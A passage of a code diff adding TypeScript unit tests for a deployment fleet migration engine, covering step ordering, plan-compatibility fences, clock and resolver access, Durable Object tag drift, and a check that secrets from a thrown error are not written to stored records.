'continue', token: token.token }), + secretsFor() { + throw new Error( + `Authorization: Bearer ${SECRETS.maintenanceAdmin}`, + ); + }, + }), + ).rejects.toThrow('Authorization: Bearer'); + expect( + failed.operationStore.operations.get(uuid())?.progress.failure, + ).toEqual({ reason: 'item-failed', itemOrdinal: 0 }); + const failureBytes = JSON.stringify([ + ...failed.operationStore.operations.values(), + ...failed.operationStore.rows.values(), + ]); + expect(failureBytes).not.toContain('Authorization'); + expect(failureBytes).not.toContain('Bearer'); + expect(failureBytes).not.toContain(SECRETS.maintenanceAdmin); + } + + const resolverNames = [ + 'backendFor', + 'specFor', + 'secretsFor', + 'finalizedStateProviderFor', + 'settlementFor', + ] as const; + for (const mode of ['bounded', 'drain'] as const) { + for (const selected of resolverNames) { + const world = + selected === 'finalizedStateProviderFor' + ? finalizedWorld('ready').world + : createWorld({ path: 'ready' }); + const token = + mode === 'bounded' + ? selected === 'settlementFor' + ? await advanceTo(world, 'ready-attest-settle') + : await world.start() + : undefined; + const options = { + ...world.options({ kind: 'continue', token: token?.token ?? {} }), + store: world.fleetStore, + records: [world.current()], + canaryTenantTags: [], + }; + const calls: string[] = []; + const original = new Error(`selected ${selected}`); + const values = { + backendFor: world.backend, + specFor: world.spec, + secretsFor: SECRETS, + }; + world.fleetStore.ops.length = 0; + for (const name of resolverNames) + Object.defineProperty(options, name, { + get() { + expect(this).toBe(options); + expect(world.fleetStore.ops).toContain('get'); + calls.push(`get:${name}`); + return function (this: unknown, record: FleetRecord) { + expect(this).toBe(options); + expect(record.tenantTag).toBe(world.initial.tenantTag); + calls.push(`call:${name}`); + if (name === selected) throw original; + return name in values + ? values[name as keyof typeof values] + : undefined; + }; + }, + }); + await expect( + mode === 'bounded' + ? advanceFleetMigration(options) + : migrateFleet(options), + ).rejects.toBe(original); + const expected = resolverNames + .slice(0, 3) + .slice( + 0, + selected === 'backendFor' ? 1 : selected === 'specFor' ? 2 : 3, + ); + const order = + selected === 'finalizedStateProviderFor' || + selected === 'settlementFor' + ? [...expected, selected] + : expected; + expect(calls).toEqual( + order.flatMap((name) => [`get:${name}`, `call:${name}`]), + ); + } + const vanished = createWorld(); + const token = mode === 'bounded' ? await vanished.start() : undefined; + const options = { + ...vanished.options({ kind: 'continue', token: token?.token ?? {} }), + store: vanished.fleetStore, + records: [vanished.initial], + canaryTenantTags: [], + }; + vanished.fleetStore.records.clear(); + for (const name of resolverNames) + Object.defineProperty(options, name, { + get() { + throw new Error(`eager ${name}`); + }, + }); + let clockReads = 0; + Object.defineProperty(options, 'clock', { + get() { + clockReads += 1; + return () => NOW; + }, + }); + await expect( + mode === 'bounded' + ? advanceFleetMigration(options) + : migrateFleet(options), + ).rejects.toThrow('fleet migration record disappeared'); + expect(clockReads).toBe(1); + + const retirement = createWorld({ path: 'ready', external: true }); + retirement.fleetStore.set({ + ...retirement.current(), + retiringRelease: { + ...retirement.priorRelease, + physicalScriptName: 'expired-release', + }, + }); + const retiringToken = + mode === 'bounded' + ? await advanceTo(retirement, 'retire-pre') + : undefined; + const retiringOptions = { + ...retirement.options({ + kind: 'continue', + token: retiringToken?.token ?? {}, + }), + store: retirement.fleetStore, + records: [retirement.current()], + canaryTenantTags: [], + }; + let deleted = false; + let reads = 0; + let selectedCalls = 0; + retirement.backend.deleteRetainedRelease = async () => { + await Promise.resolve(); + deleted = true; + }; + Object.defineProperty(retiringOptions, 'clock', { + get() { + reads += 1; + if (reads === 1) return () => NOW; + if (!deleted) + return function (this: unknown) { + expect(this).toBeUndefined(); + expect(deleted).toBe(true); + selectedCalls += 1; + return NOW; + }; + return () => NOW + 1000; + }, + }); + await (mode === 'bounded' + ? advanceFleetMigration(retiringOptions) + : migrateFleet(retiringOptions)); + expect(selectedCalls).toBe(1); + expect( + retirement.fleetStore.puts.find((record) => !record.retiringRelease) + ?.updatedAt, + ).toBe(new Date(NOW).toISOString()); + + const schema = createWorld({ schemaVersion: 2 }); + const schemaToken = + mode === 'bounded' + ? await advanceTo(schema, 'apply-migrations') + : undefined; + const schemaOptions = { + ...schema.options({ + kind: 'continue', + token: schemaToken?.token ?? {}, + }), + store: schema.fleetStore, + records: [schema.current()], + canaryTenantTags: [], + }; + let providerDone = false; + const apply = schema.backend.applyMigrations; + schema.backend.applyMigrations = async (...args) => { + await apply(...args); + await Promise.resolve(); + providerDone = true; + }; + Object.defineProperty(schemaOptions, 'clock', { + get() { + const instant = providerDone ? NOW + 1000 : NOW; + return function (this: unknown) { + expect(this).toBeUndefined(); + return instant; + }; + }, + }); + await (mode === 'bounded' + ? advanceFleetMigration(schemaOptions) + : migrateFleet(schemaOptions)); + expect( + schema.fleetStore.puts.find((record) => record.schemaVersion === 2) + ?.updatedAt, + ).toBe(new Date(NOW + 1000).toISOString()); + + const finalized = finalizedWorld('ready'); + const ordinary = finalized.world; + const ordinaryToken = + mode === 'bounded' + ? await advanceTo(ordinary, 'ready-platform-resources') + : undefined; + const ordinaryOptions = { + ...ordinary.options({ + kind: 'continue', + token: ordinaryToken?.token ?? {}, + }), + store: ordinary.fleetStore, + records: [ordinary.current()], + canaryTenantTags: [], + }; + let described = false; + let ordinaryReads = 0; + const describe = finalized.provider.describeFinalizedState; + finalized.provider.describeFinalizedState = (input) => { + described = true; + return describe(input); + }; + const selected = function (this: { + provider: FinalizedOrdinaryStateProvider; + record: FleetRecord; + clock: () => number; + }) { + expect(this.provider).toBe(finalized.provider); + expect(this.clock).toBe(selected); + expect(this.record.tenantTag).toBe('cedar'); + expect(described).toBe(true); + throw new Error('ordinary clock receiver verified'); + }; + Object.defineProperty(ordinaryOptions, 'clock', { + get() { + ordinaryReads += 1; + expect(described).toBe(false); + return ordinaryReads === 1 ? () => NOW : selected; + }, + }); + await expect( + mode === 'bounded' + ? advanceFleetMigration(ordinaryOptions) + : migrateFleet(ordinaryOptions), + ).rejects.toThrow('ordinary clock receiver verified'); + expect(ordinaryReads).toBe(2); + } + for (const [step, expectedReads] of [ + ['ready-target-backfill', 1], + ['ready-platform-resources', 1], + ['ready-maintenance', 1], + ['ready-promote', 2], + ['ready-retire-post', 2], + ] as const) { + const world = createWorld({ path: 'ready' }); + world.fleetStore.set({ + ...world.current(), + invocationAuthority: { + version: 1, + authorizedAt: new Date(NOW).toISOString(), + }, + }); + const token = await advanceTo(world, step); + const options = world.options({ kind: 'continue', token: token.token }); + let reads = 0; + let calls = 0; + Object.defineProperty(options, 'clock', { + get() { + reads += 1; + return () => { + calls += 1; + return NOW; + }; + }, + }); + await advanceFleetMigration(options); + expect(reads).toBe(expectedReads); + expect(calls).toBe(0); + } + }); + + it('ready-target-backfill trusted-resources refusal fails the item from inside the step', async () => { + const world = createWorld({ path: 'ready', external: true }); + const current = { ...world.current() }; + delete current.platformTarget; + delete current.platformResources; + world.fleetStore.set(current); + const token = await advanceTo(world, 'ready-target-backfill'); + expect(world.operationStore.item().status).toBe('active'); + await expect(continueWorld(world, token)).rejects.toThrow( + 'ready external deployment has no trusted platform resources', + ); + expectItemFailure(world); + expect(world.fleetStore.puts).toEqual([]); + expect(providerMutations(world)).toEqual([]); + }); + + it('ready-platform-resources preserves its exact platform-target refusal and the earlier coordinator fence', async () => { + const world = createWorld({ path: 'ready', external: true }); + const token = await advanceTo(world, 'ready-platform-resources'); + const divergent = { + ...world.current(), + platformTarget: { + ...world.priorTarget, + stateArtifactDigest: 'f'.repeat(64), + }, + }; + await withAdmitted(world, async ({ admitted }) => { + await expect( + executeNextMigrationStep( + admitted, + [{ step: 'ready-platform-resources' }], + 0, + { entry: divergent, current: divergent }, + ), + ).rejects.toThrow( + 'ready deployment does not match the persisted platform target', + ); + }); + world.fleetStore.set(divergent); + world.ops.length = 0; + const puts = world.fleetStore.puts.length; + await expect(continueWorld(world, token)).rejects.toThrow( + 'fleet migration item no longer matches its frozen plan', + ); + expectItemFailure(world); + expect(world.fleetStore.puts).toHaveLength(puts); + expect(providerMutations(world)).toEqual([]); + }); + + it('platform-only-maintenance unarmed refusal fails the item from inside the step', async () => { + const world = createWorld({ path: 'platform-only' }); + const token = await advanceTo(world, 'platform-only-maintenance'); + world.setMaintenance({ ...HEALTHY, armed: false }); + world.ops.length = 0; + await expect(continueWorld(world, token)).rejects.toThrow( + 'platform-only migration maintenance is unarmed before route publication', + ); + expectItemFailure(world); + expect(world.ops).toContain('maintenance'); + expect(world.ops).not.toContain('promote'); + }); + + it('last apply-migrations missing-path refusal uses the entry schema and fails the item', async () => { + const world = createWorld(); + const token = await advanceTo(world, 'apply-migrations'); + const item = world.operationStore.item(); + world.operationStore.setItem({ + ...item, + plan: item.plan?.filter( + (entry) => + entry.step !== 'apply-migrations' || entry.targetSchemaVersion !== 3, + ), + }); + await expect(continueWorld(world, token)).rejects.toThrow( + 'missing D1 migration path from 1 to 3', + ); + expect(world.current().schemaVersion).toBe(2); + expectItemFailure(world); + expect(world.ops.filter((op) => op.startsWith('apply:'))).toEqual([ + 'apply:2', + ]); + const invalid = createWorld(); + invalid.spec = { + ...invalid.spec, + migrations: invalid.spec.migrations.slice(0, 2), + }; + const start = await invalid.start(); + await expect(continueWorld(invalid, start)).rejects.toThrow( + 'D1 migration history must contain every version through schemaVersion', + ); + expectItemFailure(invalid); + expect(invalid.fleetStore.puts).toEqual([]); + expect(providerMutations(invalid)).toEqual([]); + }); + + it('READY-plan reachability: trusted resources without platformTarget reach the backfill step', async () => { + const world = createWorld({ path: 'ready', external: true }); + const current = { ...world.current() }; + delete current.platformTarget; + world.fleetStore.set(current); + const token = await advanceTo(world, 'ready-target-backfill'); + expect(world.operationStore.item().plan?.map(({ step }) => step)).toEqual([ + 'ready-target-backfill', + 'ready-platform-resources', + 'ready-maintenance', + 'ready-promote', + 'ready-attest-settle', + 'ready-retire-post', + ]); + expect(world.fleetStore.puts).toEqual([]); + await continueWorld(world, token); + expect(world.current().platformTarget).toEqual(world.priorTarget); + expect(world.fleetStore.puts).toHaveLength(1); + expect(providerMutations(world)).toEqual([]); + }); + + it('assert-migrating lost-intent refusal fails the item from inside the step', async () => { + const world = createWorld({ external: true }); + const token = await advanceTo(world, 'assert-migrating'); + const current = { ...world.current() }; + delete current.migrationPriorRelease; + world.fleetStore.set(current); + const puts = world.fleetStore.puts.length; + world.ops.length = 0; + await expect(continueWorld(world, token)).rejects.toThrow( + 'immutable external migration lost its durable release intent', + ); + expectItemFailure(world); + expect(world.fleetStore.puts).toHaveLength(puts); + expect(providerMutations(world)).toEqual([]); + }); + + it('plan-compatibility fence covers admission gaps, intent drift and premature foreign convergence', async () => { + const equal = createWorld({ path: 'ready' }); + const equalToken = await advanceTo(equal, 'ready-target-backfill'); + equal.fleetStore.set({ + ...equal.current(), + updatedAt: new Date(NOW).toISOString(), + }); + await continueWorld(equal, equalToken); + expect(equal.operationStore.item().status).toBe('active'); + for (const opposite of [false, true]) { + const world = createWorld({ path: 'ready', external: true }); + const token = await advanceTo(world, 'ready-target-backfill'); + const donor = createWorld({ + path: opposite ? 'platform-only' : 'full', + external: true, + }); + donor.spec = world.spec; + if (!opposite) + donor.fleetStore.set({ + ...donor.current(), + desiredSpecDigest: 'f'.repeat(64), + }); + await advanceTo(donor, 'assert-migrating'); + const carrier = donor.current(); + if (!carrier.migrationIntent) throw new Error('missing donor intent'); + world.fleetStore.set({ + ...carrier, + migrationIntent: { + ...carrier.migrationIntent, + target: world.priorTarget, + }, + }); + world.ops.length = 0; + const puts = world.fleetStore.puts.length; + await expect(continueWorld(world, token)).rejects.toThrow( + 'fleet migration item no longer matches its frozen plan', + ); + expectItemFailure(world); + expect(world.fleetStore.puts).toHaveLength(puts); + expect(providerMutations(world)).toEqual([]); + } + const divergent = createWorld({ external: true }); + const divergentToken = await advanceTo(divergent, 'seed-identity'); + const carrier = divergent.current(); + if (!carrier.migrationIntent) throw new Error('missing intent'); + divergent.fleetStore.set({ + ...carrier, + pendingRelease: { + ...(carrier.pendingRelease as ExternalReleaseSnapshot), + physicalScriptName: 'foreign-candidate', + }, + }); + await expect(continueWorld(divergent, divergentToken)).rejects.toThrow( + 'migration retry uses a different desired specification', + ); + expectItemFailure(divergent); + for (const path of ['full', 'platform-only'] as const) { + const admitted = createWorld({ path, external: true }); + const admittedToken = await advanceTo(admitted, 'admit-migrating'); + expect(admitted.current().phase).toBe('ready'); + await continueWorld(admitted, admittedToken); + expect(admitted.current().phase).toBe('migrating'); + const frozen = admitted.operationStore.item().plan; + const terminal = frozen?.findIndex( + ({ step }) => + step === (path === 'full' ? 'settle-ready' : 'platform-only-ready'), + ); + if (terminal === undefined || terminal < 1) + throw new Error('missing terminal entry'); + const donor = createWorld({ path, external: true }); + await drainWorld(donor); + for (let cursor = 0; cursor < terminal; cursor += 1) { + const world = createWorld({ path, external: true }); + let token = await advanceTo(world, 'admit-migrating'); + for (let completed = 0; completed < cursor; completed += 1) + token = await continueWorld(world, token); + expect(world.operationStore.item().planCursor).toBe(cursor); + world.fleetStore.set(donor.current()); + const puts = world.fleetStore.puts.length; + world.ops.length = 0; + await expect(continueWorld(world, token)).rejects.toThrow( + 'fleet migration item no longer matches its frozen plan', + ); + expectItemFailure(world); + expect(world.fleetStore.puts).toHaveLength(puts); + expect(providerMutations(world)).toEqual([]); + } + } + }); + + it('carrier-fact drift past assert-migrating is caught by the next fence assertion re-run', async () => { + for (const field of [ + 'migrationPriorRelease', + 'target', + 'finalizedState', + ] as const) { + const finalized = finalizedWorld(); + const world = finalized.world; + const token = await advanceTo(world, 'seed-identity'); + const current = { ...world.current() }; + if (!current.migrationIntent) throw new Error('missing intent'); + const expected = + field === 'migrationPriorRelease' + ? 'immutable external migration lost its durable release intent' + : field === 'target' + ? 'migration retry does not match the persisted platform target' + : 'finalized provider state drifted'; + if (field === 'migrationPriorRelease') + delete current.migrationPriorRelease; + if (field === 'target') + current.migrationIntent = { + ...current.migrationIntent, + target: { + ...current.migrationIntent.target, + stateArtifactDigest: 'f'.repeat(64), + }, + }; + if (field === 'finalizedState') + finalized.provider.assertFinalizedState = async () => { + throw new Error(expected); + }; + world.fleetStore.set(current); + const puts = world.fleetStore.puts.length; + world.ops.length = 0; + await expect(continueWorld(world, token)).rejects.toThrow(expected); + expectItemFailure(world); + expect(world.fleetStore.puts).toHaveLength(puts); + expect(providerMutations(world)).toEqual([]); + } + }); + + it('all ten bounded entry bindings observe the leased retry snapshot rather than the admission snapshot', async () => { + for (const step of [ + 'platform-only-maintenance', + 'platform-only-promote', + 'platform-only-ready', + 'deploy-candidate', + 'promote', + 'settle-ready', + ] as const) { + const path = step.startsWith('platform-only-') ? 'platform-only' : 'full'; + const world = createWorld({ path, external: true, namespace: true }); + let token = await advanceTo( + world, + path === 'platform-only' + ? 'platform-only-resources' + : 'platform-resources', + ); + world.setNamespace('namespace-converged'); + token = await continueWorld(world, token); + expect( + world.current().platformResources?.stateWorker.namespaceIds, + ).toEqual(['namespace-converged']); + if (path === 'platform-only') + world.releases.set( + world.priorRelease.physicalScriptName, + world.liveFor(world.spec, world.priorRelease.artifactVersion), + ); + token = await advanceTo(world, step, token); + const before = copy(world.current()); + const item = world.operationStore.item(); + if (!item.plan || item.planCursor === undefined) + throw new Error('missing step cursor'); + const plan = item.plan; + const planCursor = item.planCursor; + await withAdmitted(world, async ({ admitted, reread }) => { + const staleEntry = { + ...reread, + platformResources: world.initial.platformResources, + }; + await expect( + executeNextMigrationStep(admitted, plan, planCursor, { + entry: staleEntry, + current: reread, + }), + ).rejects.toThrow( + "deployment 'cedar:production' live state does not exactly match the desired specification", + ); + }); + world.fleetStore.set(before); + const retry = createWorld({ path, external: true, namespace: true }); + retry.setNamespace('namespace-converged'); + retry.fleetStore.set(before); + retry.releases.clear(); + for (const [name, live] of world.releases) + retry.releases.set(name, copy(live)); + retry.routed.clear(); + for (const [tenant, name] of world.routed) retry.routed.set(tenant, name); + for (const version of world.ledger) retry.ledger.add(version); + await continueWorld(world, token); + expect(world.operationStore.item().status).not.toBe('failed'); + expect(world.operationStore.item().planCursor).toBe(planCursor + 1); + await expect(migrateWorld(retry)).resolves.toHaveLength(1); + } + + const ownership = createWorld(); + const ownershipToken = await advanceTo(ownership, 'seed-identity'); + const seeded: unknown[][] = []; + ownership.backend.seedDeploymentIdentity = async (...args) => { + seeded.push(args); + }; + await withAdmitted(ownership, async ({ admitted, reread }) => { + await executeNextMigrationStep(admitted, [{ step: 'seed-identity' }], 0, { + entry: { ...reread, tenantTag: 'entry-owner' }, + current: { ...reread, tenantTag: 'current-owner' }, + }); + expect(seeded[0]).toEqual([ + admitted.database, + 'entry-owner', + admitted.lease, + { initialExecutionFenceState: 'open' }, + ]); + }); + seeded.length = 0; + await continueWorld(ownership, ownershipToken); + expect(seeded[0]?.[1]).toBe('cedar'); + expect(seeded[0]?.[3]).toEqual({ initialExecutionFenceState: 'open' }); + + const missingPath = createWorld(); + await withAdmitted(missingPath, async ({ admitted, reread }) => { + await expect( + executeNextMigrationStep( + admitted, + [{ step: 'apply-migrations', targetSchemaVersion: 2 }], + 0, + { entry: { ...reread, schemaVersion: 17 }, current: reread }, + ), + ).rejects.toThrow('missing D1 migration path from 17 to 3'); + expect(missingPath.current().schemaVersion).toBe(2); + }); + + const absent = createWorld({ external: true }); + const absentToken = await advanceTo(absent, 'settle-ready'); + absent.backend.inspect = async () => undefined; + await withAdmitted(absent, async ({ admitted, reread }) => { + await expect( + executeNextMigrationStep( + admitted, + [{ step: 'settle-ready' }, { step: 'retire-post' }], + 0, + { + entry: { + ...reread, + tenantTag: 'entry-tenant', + environment: 'entry-environment', + }, + current: reread, + }, + ), + ).rejects.toThrow( + 'deployment did not converge after migration for entry-tenant:entry-environment', + ); + }); + await expect(continueWorld(absent, absentToken)).rejects.toThrow( + 'deployment did not converge after migration for cedar:production', + ); + expectItemFailure(absent); + + const retirement = createWorld({ external: true }); + const retiringToken = await advanceTo(retirement, 'settle-ready'); + const entryRelease = { + ...retirement.priorRelease, + physicalScriptName: 'entry-rollback', + }; + const currentRelease = { + ...retirement.priorRelease, + physicalScriptName: 'current-rollback', + }; + const before = copy(retirement.current()); + await withAdmitted(retirement, async ({ admitted, reread }) => { + const result = await executeNextMigrationStep( + admitted, + [{ step: 'settle-ready' }, { step: 'retire-post' }], + 0, + { + entry: { ...reread, rollbackRelease: entryRelease }, + current: { ...reread, rollbackRelease: currentRelease }, + }, + ); + expect(result.record.retiringRelease).toEqual(entryRelease); + }); + retirement.fleetStore.set({ ...before, rollbackRelease: currentRelease }); + await continueWorld(retirement, retiringToken); + expect(retirement.current().retiringRelease).toEqual(currentRelease); + expect(retirement.initial.rollbackRelease).toBeUndefined(); + }); + + it('migration kind-lease loss at dispatch aborts with zero provider work', async () => { + const world = createWorld(); + const token = await advanceTo(world, 'seed-identity'); + const item = world.operationStore.item(); + const run = copy(world.operationStore.operations.get(uuid())); + world.operationStore.loseLease = true; + world.ops.length = 0; + world.fleetStore.ops.length = 0; + await expect(continueWorld(world, token)).rejects.toThrow( + 'operation lease lost', + ); + expect(world.ops).toEqual([]); + expect(world.fleetStore.ops).toEqual([]); + expect(world.operationStore.item()).toEqual(item); + expect(world.operationStore.operations.get(uuid())).toEqual(run); + }); + + it('fence and step observe the same shared migrating-carrier refusal', async () => { + for (const divergence of ['prior', 'target', 'provider'] as const) { + const finalized = finalizedWorld(); + const world = finalized.world; + await advanceTo(world, 'seed-identity'); + await withAdmitted(world, async ({ admitted, reread }) => { + const current = { ...reread }; + if (!current.migrationIntent) throw new Error('missing intent'); + const expected = + divergence === 'prior' + ? 'immutable external migration lost its durable release intent' + : divergence === 'target' + ? 'migration retry does not match the persisted platform target' + : 'async finalized assertion refused'; + if (divergence === 'prior') delete current.migrationPriorRelease; + if (divergence === 'target') + current.migrationIntent = { + ...current.migrationIntent, + target: { + ...current.migrationIntent.target, + stateArtifactDigest: 'f'.repeat(64), + }, + }; + let completed = 0; + if (divergence === 'provider') + finalized.provider.assertFinalizedState = async (input) => { + await Promise.resolve(); + expect(input.currentRecord).toBe(current); + expect(input.fence).toBe(admitted.lease); + completed += 1; + throw new Error(expected); + }; + const item = world.operationStore.item(); + if (!item.plan || item.planCursor === undefined) + throw new Error('missing plan'); + const assertionCursor = item.plan.findIndex( + ({ step }) => step === 'assert-migrating', + ); + for (const invoke of [ + () => assertMigratingCarrierState(admitted, current), + () => + executeNextMigrationStep( + admitted, + item.plan as NonNullable, + assertionCursor, + { entry: current, current }, + ), + () => + assertFleetMigrationPlanCompatibility( + admitted, + { + plan: item.plan as NonNullable, + planCursor: item.planCursor as number, + }, + current, + ), + ]) + await expect(invoke()).rejects.toThrow(expected); + expect(completed).toBe(divergence === 'provider' ? 3 : 0); + }); + } + }); + + it('monotonic-floor regressions fail the item without mutation', async () => { + for (const scenario of [ + 'backward', + 'unreachable', + 'schema', + 'zero-pending-schema', + 'candidate', + 'ready-target', + ] as const) { + const world = createWorld({ + path: + scenario === 'unreachable' + ? 'platform-only' + : scenario === 'ready-target' + ? 'ready' + : 'full', + external: ['backward', 'unreachable', 'ready-target'].includes( + scenario, + ), + }); + if (scenario === 'zero-pending-schema') { + world.fleetStore.set({ ...world.current(), schemaVersion: 3 }); + world.ledger.add(2); + world.ledger.add(3); + } + const step = + scenario === 'backward' + ? 'pending-topology' + : scenario === 'unreachable' + ? 'platform-only-maintenance' + : scenario === 'candidate' + ? 'arm-maintenance' + : scenario === 'ready-target' + ? 'ready-platform-resources' + : 'migration-schema-applied'; + const token = await advanceTo(world, step); + const current = { ...world.current() }; + if (scenario === 'backward' || scenario === 'unreachable') { + if (!current.migrationIntent) throw new Error('missing intent'); + current.migrationIntent = { + ...current.migrationIntent, + subphase: + scenario === 'backward' ? 'schema-applied' : 'candidate-armed', + }; + } else if (scenario === 'schema' || scenario === 'zero-pending-schema') + current.schemaVersion = 2; + else if (scenario === 'candidate') delete current.pendingArtifactVersion; + else delete current.platformTarget; + world.fleetStore.set(current); + world.ops.length = 0; + const puts = world.fleetStore.puts.length; + await expect(continueWorld(world, token)).rejects.toThrow( + 'fleet migration item no longer matches its frozen plan', + ); + expectItemFailure(world); + expect(world.fleetStore.puts).toHaveLength(puts); + expect(providerMutations(world)).toEqual([]); + } + }); + + it('READY leave and re-enter continues at its cursor, converging or refusing remaining work', async () => { + for (const refuse of [false, true]) { + const world = createWorld({ path: 'ready', external: true }); + const token = await advanceTo(world, 'ready-platform-resources'); + const item = world.operationStore.item(); + world.fleetStore.set({ ...world.current(), phase: 'migrating' }); + const resources = world.current().platformResources; + if (!resources) throw new Error('missing resources'); + world.fleetStore.set({ + ...world.current(), + phase: 'ready', + platformResources: { + ...resources, + stateWorker: { + ...resources.stateWorker, + artifactVersion: 'foreign-provider-version', + }, + }, + updatedAt: new Date(NOW).toISOString(), + }); + const release = world.releases.get(world.priorRelease.physicalScriptName); + if (!release) throw new Error('missing release'); + world.releases.set(world.priorRelease.physicalScriptName, { + ...release, + maintenance: { ...HEALTHY, armed: false }, + }); + if (refuse) world.setMaintenance({ ...HEALTHY, armed: false }); + const next = await continueWorld(world, token); + expect(world.operationStore.item().planCursor).toBe( + (item.planCursor ?? 0) + 1, + ); + expect(world.current().platformResources).toEqual( + world.resourcesFor(world.spec), + ); + if (refuse) { + await expect(continueWorld(world, next)).rejects.toThrow( + 'maintenance did not re-arm', + ); + expectItemFailure(world); + } else { + expect(await drainWorld(world, next)).toMatchObject({ + status: 'complete', + }); + expect(world.ops).toContain('maintenance'); + expect(world.ops).toContain('promote'); + expect(world.ops).toContain('settle'); + expect(world.operationStore.item().planCursor).toBe(item.plan?.length); + } + } + }); + + it('platform-authored DO-tag-changing FULL migration resumes through terminal commit and refuses foreign tags and fresh-admission base drift', async () => { + const history = [ + { tag: 'v1', newClasses: ['First'] }, + { tag: 'v2', newClasses: ['Second'] }, + { tag: 'v3', newClasses: ['Third'] }, + ]; + function tagged() { + const world = createWorld(); + world.spec = { + ...world.spec, + previousDurableObjectTag: 'v1', + durableObjectMigrations: history, + }; + world.fleetStore.set({ + ...world.current(), + durableObjectTag: 'v1', + durableObjectMigrationHistory: history.slice(0, 1), + durableObjectMigrationHistoryDigest: + durableObjectMigrationHistoryDigest(history.slice(0, 1)), + }); + return world; + } + const world = tagged(); + const token = await advanceTo(world, 'settle-ready'); + const item = await loseStepResponse(world, token); + expect(world.current()).toMatchObject({ + phase: 'ready', + durableObjectTag: 'v3', + durableObjectMigrationHistory: history, + durableObjectMigrationHistoryDigest: + durableObjectMigrationHistoryDigest(history), + }); + world.ops.length = 0; + const puts = world.fleetStore.puts.length; + const retired = await continueWorld(world, token); + expect(providerMutations(world)).toEqual([]); + expect(world.fleetStore.puts).toHaveLength(puts); + expect( + world.operationStore.item().plan?.[ + world.operationStore.item().planCursor ?? -1 + ]?.step, + ).toBe('retire-post'); + expect(await drainWorld(world, retired)).toMatchObject({ + status: 'complete', + }); + expect(world.operationStore.item().planCursor).toBe(item.plan?.length); + for (const mode of ['bounded', 'drain'] as const) { + const error = + "Durable Object migration base mismatch for cedar:production: expected 'v3'"; + if (mode === 'drain') + await expect(migrateWorld(world)).rejects.toThrow(error); + else { + const start = await world.start(uuid(2), [world.current()]); + await expect(continueWorld(world, start)).rejects.toThrow(error); + expect(world.operationStore.item(uuid(2)).status).toBe('failed'); + } + } + for (const shape of [ + 'consistent-intermediate', + 'bare-target', + 'bare-foreign', + 'no-history-target', + ] as const) { + const foreign = tagged(); + const pending = await advanceTo(foreign, 'seed-identity'); + const current = { + ...foreign.current(), + durableObjectTag: + shape === 'consistent-intermediate' + ? 'v2' + : shape === 'bare-foreign' + ? 'foreign' + : 'v3', + }; + if (shape === 'consistent-intermediate') { + current.durableObjectMigrationHistory = history.slice(0, 2); + current.durableObjectMigrationHistoryDigest = + durableObjectMigrationHistoryDigest(history.slice(0, 2)); + } else if (shape === 'no-history-target') { + delete current.durableObjectMigrationHistory; + delete current.durableObjectMigrationHistoryDigest; + } + foreign.fleetStore.set(current); + foreign.ops.length = 0; + const writes = foreign.fleetStore.puts.length; + const expected = + shape === 'consistent-intermediate' + ? "Durable Object migration base mismatch for cedar:production: expected 'v2'" + : shape === 'no-history-target' + ? 'platform-authored Durable Object state has no persisted migration history' + : 'platform-authored Durable Object migration history is internally inconsistent'; + await expect(continueWorld(foreign, pending)).rejects.toThrow(expected); + expectItemFailure(foreign); + expect(foreign.fleetStore.puts).toHaveLength(writes); + expect(providerMutations(foreign)).toEqual([]); + } + }); + + it('external ordinary-plane DO-tag movement resumes FULL, PO and READY plans while preserving strict fresh-admission refusal', async () => { + for (const path of ['full', 'platform-only', 'ready'] as const) { + const { world, target } = finalizedWorld(path); + const step = + path === 'full' + ? 'platform-resources' + : path === 'platform-only' + ? 'platform-only-resources' + : 'ready-platform-resources'; + const pending = await advanceTo(world, step); + world.ops.length = 0; + const moved = await continueWorld(world, pending); + expect(world.current()).toMatchObject({ + durableObjectTag: 'state-v2', + platformResources: { + stateWorker: { plane: 'ordinary', durableObjectTag: 'state-v2' }, + }, + }); + expect(world.current().durableObjectMigrationHistoryDigest).toBe( + target.stateDurableObjectHistoryDigest, + ); + expect(world.ops.indexOf('finalizedFor')).toBeGreaterThan( + world.ops.indexOf('secrets:cedar'), + ); + expect(world.ops.indexOf('finalizedTarget')).toBeGreaterThan( + world.ops.indexOf('finalizedFor'), + ); + expect(world.ops.indexOf('finalizedEnsure')).toBeGreaterThan( + world.ops.lastIndexOf('finalizedPlan'), + ); + expect(world.ops.indexOf('finalizedCommit')).toBeGreaterThan( + world.ops.indexOf('finalizedEnsure'), + ); + expect(world.ops).not.toContain('platform'); + if (path === 'full') { + const stillMigrating = copy(world.current()); + const freshStore = new MemoryOperationStore(); + const start = await advanceFleetMigration({ + ...world.options({ + kind: 'start', + operationId: uuid(2), + records: [stillMigrating], + canaryTenantTags: [], + }), + operationStore: freshStore, + }); + await expect( + advanceFleetMigration({ + ...world.options({ kind: 'continue', token: start.token }), + operationStore: freshStore, + }), + ).rejects.toThrow( + "Durable Object migration base mismatch for cedar:production: expected 'state-v2'", + ); + await expect(migrateWorld(world)).rejects.toThrow( + "Durable Object migration base mismatch for cedar:production: expected 'state-v2'", + ); + expect(freshStore.item(uuid(2)).status).toBe('failed'); + } + const completed = await drainWorld(world, moved); + expect(completed).toMatchObject({ status: 'complete' }); + const item = world.operationStore.item(); + expect(item.planCursor).toBe(item.plan?.length); + expect(item.plan?.at(-1)?.step).toBe( + path === 'full' + ? 'retire-post' + : path === 'platform-only' + ? 'platform-only-ready' + : 'ready-retire-post', + ); + expect(world.current().durableObjectTag).toBe('state-v2'); + const fresh = await world.start(uuid(3), [world.current()]); + await expect(continueWorld(world, fresh)).rejects.toThrow( + "Durable Object migration base mismatch for cedar:production: expected 'state-v2'", + ); + await expect(migrateWorld(world)).rejects.toThrow( + "Durable Object migration base mismatch for cedar:production: expected 'state-v2'", + ); + expect(world.operationStore.item(uuid(3)).status).toBe('failed'); + } + for (const afterReconcile of [false, true]) { + for (const consistent of [false, true]) { + const { world } = finalizedWorld(); + let token = await advanceTo(world, 'platform-resources'); + if (afterReconcile) token = await continueWorld(world, token); + const current = world.current(); + if (!current.platformResources) throw new Error('missing resources'); + world.fleetStore.set({ + ...current, + durableObjectTag: 'foreign-tag', + ...(consistent + ? { + platformResources: { + ...current.platformResources, + stateWorker: { + ...current.platformResources.stateWorker, + durableObjectTag: 'foreign-tag', + }, + }, + } + : {}), + }); + world.ops.length = 0; + const puts = world.fleetStore.puts.length; + if (!consistent) { + await expect(continueWorld(world, token)).rejects.toThrow( + "Durable Object migration base mismatch for cedar:production: expected 'foreign-tag'", + ); + expectItemFailure(world); + expect(world.fleetStore.puts).toHaveLength(puts); + expect(providerMutations(world)).toEqual([]); + expect(world.ops).not.toContain('finalizedEnsure'); + } else { + const 